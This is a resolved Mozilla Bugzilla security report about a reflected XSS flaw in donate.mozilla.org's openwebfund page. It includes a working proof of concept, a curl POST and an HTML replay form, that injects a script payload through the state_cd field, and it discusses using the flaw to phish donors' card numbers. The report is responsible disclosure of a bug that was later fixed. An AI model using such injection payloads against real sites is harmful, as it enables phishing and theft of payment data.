Closed
Bug 619850
Opened 15 years ago
Closed 15 years ago
donate.mozilla.org openwebfund reflected XSS
Categories
(Websites :: donate.mozilla.org, defect)
Websites
donate.mozilla.org
Tracking
(Not tracked)
VERIFIED
FIXED
People
(Reporter: firealwaysworks, Unassigned)
References
()
Details
(Keywords: reporter-external, wsec-xss, Whiteboard: [infrasec:xss][ws:high])
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100723 <script>alert(/xss/)</script>/9.04 (jaunty) Firefox/3.6.8
Build Identifier:
This XSS vulnerability affects the "state_cd" POST variable. I am using curl as a PoC.
curl https://donate.mozilla.org/page/contribute/openwebfund?WT.ac=adopt_h -d 'stg_signup_id=&custom1=&custom2=&_qf__contribution=&addr2=&addr1=&amount_other=&cc_expir_year=&city=&cc_type_cd=&http_referer=&amount=&cc_number=&signup_optin_required=&outreach_page_id=&email=&match_pledge_id=&match_campaign_id=&firstname=&signup_optin=&lastname=&state_cd="; alert(/xss/);//&source_codes=&mailing_link_id=&bestcontacttime=&default_country=&mailing_recipient_id=&zip=&country=&match_is_pledge=&event_attendee_id=&cc_expir_month=&' > moz_xss
Reproducible: Always
Steps to Reproduce:
1.run curl command
2.open in firefox
Updated•15 years ago
|
Whiteboard: [ws:need triage]
Wow usually a patch is out in 5 min... Here is the same PoC in html.
<html>
<form method="POST" action="https://donate.mozilla.org/page/contribute/openwebfund?WT.ac=adopt_h" enctype="text/html">
<p class=form>
stg_signup_id:<br><input type="text" name="stg_signup_id" value="">
</P>
<p class=form>
custom1:<br><input type="text" name="custom1" value="">
</P>
<p class=form>
custom2:<br><input type="text" name="custom2" value="">
</P>
<p class=form>
_qf__contribution:<br><input type="text" name="_qf__contribution" value="">
</P>
<p class=form>
addr2:<br><input type="text" name="addr2" value="">
</P>
<p class=form>
addr1:<br><input type="text" name="addr1" value="">
</P>
<p class=form>
amount_other:<br><input type="text" name="amount_other" value="">
</P>
<p class=form>
cc_expir_year:<br><input type="text" name="cc_expir_year" value="">
</P>
<p class=form>
city:<br><input type="text" name="city" value="">
</P>
<p class=form>
cc_type_cd:<br><input type="text" name="cc_type_cd" value="">
</P>
<p class=form>
http_referer:<br><input type="text" name="http_referer" value="">
</P>
<p class=form>
amount:<br><input type="text" name="amount" value="">
</P>
<p class=form>
cc_number:<br><input type="text" name="cc_number" value="">
</P>
<p class=form>
signup_optin_required:<br><input type="text" name="signup_optin_required" value="">
</P>
<p class=form>
outreach_page_id:<br><input type="text" name="outreach_page_id" value="">
</P>
<p class=form>
email:<br><input type="text" name="email" value="">
</P>
<p class=form>
match_pledge_id:<br><input type="text" name="match_pledge_id" value="">
</P>
<p class=form>
match_campaign_id:<br><input type="text" name="match_campaign_id" value="">
</P>
<p class=form>
firstname:<br><input type="text" name="firstname" value="">
</P>
<p class=form>
signup_optin:<br><input type="text" name="signup_optin" value="">
</P>
<p class=form>
lastname:<br><input type="text" name="lastname" value="">
</P>
<p class=form>""
state_cd:<br><input type="text" name="state_cd" value="";alert(/xss/);//quot;">
</P>
<p class=form>
source_codes:<br><input type="text" name="source_codes" value="">
</P>
<p class=form>
mailing_link_id:<br><input type="text" name="mailing_link_id" value="">
</P>
<p class=form>
bestcontacttime:<br><input type="text" name="bestcontacttime" value="">
</P>
<p class=form>
default_country:<br><input type="text" name="default_country" value="">
</P>
<p class=form>
mailing_recipient_id:<br><input type="text" name="mailing_recipient_id" value="">
</P>
<p class=form>
zip:<br><input type="text" name="zip" value="">
</P>
<p class=form>
country:<br><input type="text" name="country" value="">
</P>
<p class=form>
match_is_pledge:<br><input type="text" name="match_is_pledge" value="">
</P>
<p class=form>
event_attendee_id:<br><input type="text" name="event_attendee_id" value="">
</P>
<p class=form>
cc_expir_month:<br><input type="text" name="cc_expir_month" value="">
</P>
<br>
<p class=form>
<input type="submit" value="replay">
</p>
</form>
</html>
Comment 2•15 years ago
|
||
Sorry, we don't run donate.mozilla.org, so we're having to contact the company that does to get them to fix it. That's why it's taking longer than normal.
Severity: major → critical
Status: UNCONFIRMED → NEW
Ever confirmed: true
OS: Linux → All
Hardware: x86 → All
Whiteboard: [ws:need triage] → [infrasec:xss][ws:high]
Comment 3•15 years ago
|
||
Bug has been filed with Blue State Digital. Will post updates here as they become available.
Comment 7•15 years ago
|
||
What's the target of the attack? There's no private user data to steal except what's entered on the form itself, and if you can get the user to enter their creditcard data on your fake/booby-trapped form then isn't that already the problem (phishing)?
Target? How about Mozilla. Lets say I'm a competitor and I use this XSS vulnerability to create fake page where by Mozilla admits to working with the FBI to put a backdoor into Firefox. Then I submit this fake page to Digg/Reddit/Slashdot.
XSS is a serious problem.
(In reply to comment #7)
> What's the target of the attack? There's no private user data to steal except
> what's entered on the form itself, and if you can get the user to enter their
> creditcard data on your fake/booby-trapped form then isn't that already the
> problem (phishing)?
Or wait, this is a donate page. I could just use it for Phishing and steal your users credit card numbers.
(In reply to comment #7)
> What's the target of the attack? There's no private user data to steal except
> what's entered on the form itself, and if you can get the user to enter their
> creditcard data on your fake/booby-trapped form then isn't that already the
> problem (phishing)?
Comment 10•15 years ago
|
||
An update from BSD. They have written a patch and are deploying it today. We'll update when we know that it's done.
Comment 11•15 years ago
|
||
(In reply to comment #9)
> Or wait, this is a donate page. I could just use it for Phishing and steal
> your users credit card numbers.
I think this is the primary attack scenario. Being able to inject Javascript, an attacker could construct a page with a form that submits cc and pii data to a remote site.
Comment 13•15 years ago
|
||
A patch has been deployed for this. Please re-test.
Updated•15 years ago
|
Summary: Reflective XSS → donate.mozilla.org openwebfund reflected XSS
Comment 14•15 years ago
|
||
I don't see an alert box testing with FF4, nor Chrome. Going to close this bug as RESOLVED and VERIFIED
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Updated•15 years ago
|
Status: RESOLVED → VERIFIED
Updated•14 years ago
|
Group: websites-security
Comment 15•13 years ago
|
||
Adding keywords to bugs for metrics, no action required. Sorry about bugmail spam.
Keywords: wsec-xss
Updated•13 years ago
|
Flags: sec-bounty+
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•